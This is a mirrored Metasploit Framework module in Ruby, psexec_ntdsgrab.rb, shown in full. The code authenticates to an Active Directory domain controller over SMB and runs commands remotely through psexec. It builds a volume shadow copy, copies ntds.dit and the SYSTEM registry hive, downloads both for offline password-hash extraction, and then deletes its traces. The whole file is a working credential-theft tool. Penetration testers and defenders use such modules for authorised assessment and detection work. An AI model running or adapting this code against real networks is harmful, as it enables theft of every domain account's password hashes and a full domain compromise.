CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
# Exploit mixins should be called first
9
include Msf::Exploit::Remote::SMB::Client::Psexec
10
include Msf::Auxiliary::Report
11
include Msf::OptionalSession::SMB
12
13
# Aliases for common classes
14
SIMPLE = Rex::Proto::SMB::SimpleClient
15
XCEPT= Rex::Proto::SMB::Exceptions
16
CONST= Rex::Proto::SMB::Constants
17
18
19
def initialize(info = {})
20
super(update_info(info,
21
'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',
22
'Description'=> %q{
23
This module authenticates to an Active Directory Domain Controller and creates
24
a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the
25
ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM
26
hive copy can be used in combination with other tools for offline extraction of AD
27
password hashes. All of this is done without uploading a single binary to the
28
target host.
29
},
30
'Author' => [
31
'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__
32
],
33
'License'=> MSF_LICENSE,
34
'References' => [
35
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
36
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ]
37
],
38
))
39
40
register_options([
41
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
42
OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),
43
OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),
44
OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),
45
])
46
47
end
48
49
# This is the main control method
50
def run
51
# Initialize some variables
52
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
53
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
54
createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%"
55
@ip = datastore['RHOST']
56
@smbshare = datastore['SMBSHARE']
57
# Try and connect
58
if session
59
print_status("Using existing session #{session.sid}")
60
client = session.client
61
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
62
@ip = simple.address
63
else
64
return unless connect
65
# Try and authenticate with given credentials
66
begin
67
smb_login
68
rescue StandardError => autherror
69
print_error("Unable to authenticate with given credentials: #{autherror}")
70
return
71
end
72
end
73
# If a VSC was specified then don't try and create one
74
if datastore['VSCPATH'].length > 0
75
print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
76
vscpath = datastore['VSCPATH']
77
else
78
unless datastore['CREATE_NEW_VSC']
79
vscpath = check_vss(text, bat)
80
end
81
unless vscpath
82
vscpath = make_volume_shadow_copy(createvsc, text, bat)
83
end
84
end
85
86
if vscpath
87
if copy_ntds(vscpath, text) and copy_sys_hive
88
download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"))
89
download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"))
90
else
91
print_error("Failed to find a volume shadow copy. Issuing cleanup command sequence.")
92
end
93
end
94
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
95
disconnect
96
end
97
98
99
# Thids method will check if a Volume Shadow Copy already exists and use that rather
100
# then creating a new one
101
def check_vss(text, bat)
102
begin
103
print_status("Checking if a Volume Shadow Copy exists already.")
104
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
105
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
106
result = psexec(command)
107
data = smb_read_file(datastore['SMBSHARE'], @ip, text)
108
vscs = []
109
data.each_line { |line| vscs << line if line.include?("GLOBALROOT") }
110
if vscs.empty?
111
print_status("No VSC Found.")
112
return nil
113
end
114
vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp
115
print_good("Volume Shadow Copy exists on #{vscpath}")
116
return vscpath
117
rescue StandardError => vsscheckerror
118
print_error("Unable to determine if VSS is enabled: #{vsscheckerror}")
119
return nil
120
end
121
end
122
123
124
# Create a Volume Shadow Copy on the target host
125
def make_volume_shadow_copy(createvsc, text, bat)
126
begin
127
#Try to create the shadow copy
128
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
129
print_status("Creating Volume Shadow Copy")
130
out = psexec(command)
131
#Get path to Volume Shadow Copy
132
vscpath = get_vscpath(text)
133
rescue StandardError => vscerror
134
print_error("Unable to create the Volume Shadow Copy: #{vscerror}")
135
return nil
136
end
137
if vscpath
138
print_good("Volume Shadow Copy created on #{vscpath}")
139
return vscpath
140
else
141
return nil
142
end
143
end
144
145
146
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
147
def copy_ntds(vscpath, text)
148
begin
149
ntdspath = vscpath.to_s + "\\" + datastore['WINPATH'] + "\\NTDS\\ntds.dit"
150
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
151
run = psexec(command)
152
if !check_ntds(text)
153
return false
154
end
155
return true
156
rescue StandardError => ntdscopyerror
157
print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")
158
return false
159
end
160
end
161
162
163
# Checks if ntds.dit was copied to the Windows Temp directory
164
def check_ntds(text)
165
print_status("Checking if NTDS.dit was copied.")
166
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"
167
run = psexec(check)
168
output = smb_read_file(@smbshare, @ip, text)
169
if output.include?("ntds")
170
return true
171
end
172
return false
173
end
174
175
176
# Copies the SYSTEM hive file to the Temp directory on the target host
177
def copy_sys_hive
178
begin
179
# Try to create the sys hive copy
180
command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"
181
return psexec(command)
182
rescue StandardError => hiveerror
183
print_error("Unable to copy the SYSTEM hive file: #{hiveerror}")
184
return false
185
end
186
end
187
188
189
# Download the ntds.dit copy to your attacking machine
190
def download_ntds(file)
191
print_status("Downloading ntds.dit file")
192
begin
193
# Try to download ntds.dit
194
simple.connect("\\\\#{@ip}\\#{@smbshare}")
195
remotefile = simple.open("#{file}", 'rob')
196
data = remotefile.read
197
remotefile.close
198
ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit")
199
print_good("ntds.dit stored at #{ntds_path}")
200
rescue StandardError => ntdsdownloaderror
201
print_error("Unable to download ntds.dit: #{ntdsdownloaderror}")
202
return ntdsdownloaderror
203
end
204
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
205
end
206
207
208
# Download the SYSTEM hive copy to your attacking machine
209
def download_sys_hive(file)
210
print_status("Downloading SYSTEM hive file")
211
begin
212
# Try to download SYSTEM hive
213
simple.connect("\\\\#{@ip}\\#{@smbshare}")
214
remotefile = simple.open("#{file}", 'rob')
215
data = remotefile.read
216
remotefile.close
217
hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive")
218
print_good("SYSTEM hive stored at #{hive_path}")
219
rescue StandardError => sysdownloaderror
220
print_error("Unable to download SYSTEM hive: #{sysdownloaderror}")
221
return sysdownloaderror
222
end
223
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
224
end
225
226
227
# Gets the path to the Volume Shadow Copy
228
def get_vscpath(file)
229
begin
230
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
231
vsc = ""
232
output = smb_read_file(@smbshare, @ip, file)
233
output.each_line do |line|
234
vsc += line if line.include?("GLOBALROOT")
235
end
236
return prepath + vsc.split("ShadowCopy")[1].chomp
237
rescue StandardError => vscpath_error
238
print_error("Could not determine the exact path to the VSC check your WINPATH")
239
return nil
240
end
241
end
242
243
# Removes files created during execution.
244
def cleanup_after(*files)
245
simple.connect("\\\\#{@ip}\\#{@smbshare}")
246
print_status("Executing cleanup...")
247
files.each do |file|
248
begin
249
if smb_file_exist?(file)
250
smb_file_rm(file)
251
end
252
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
253
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
254
end
255
end
256
left = files.collect{ |f| smb_file_exist?(f) }
257
if left.any?
258
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
259
else
260
print_good("Cleanup was successful")
261
end
262
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
263
end
264
end
265
266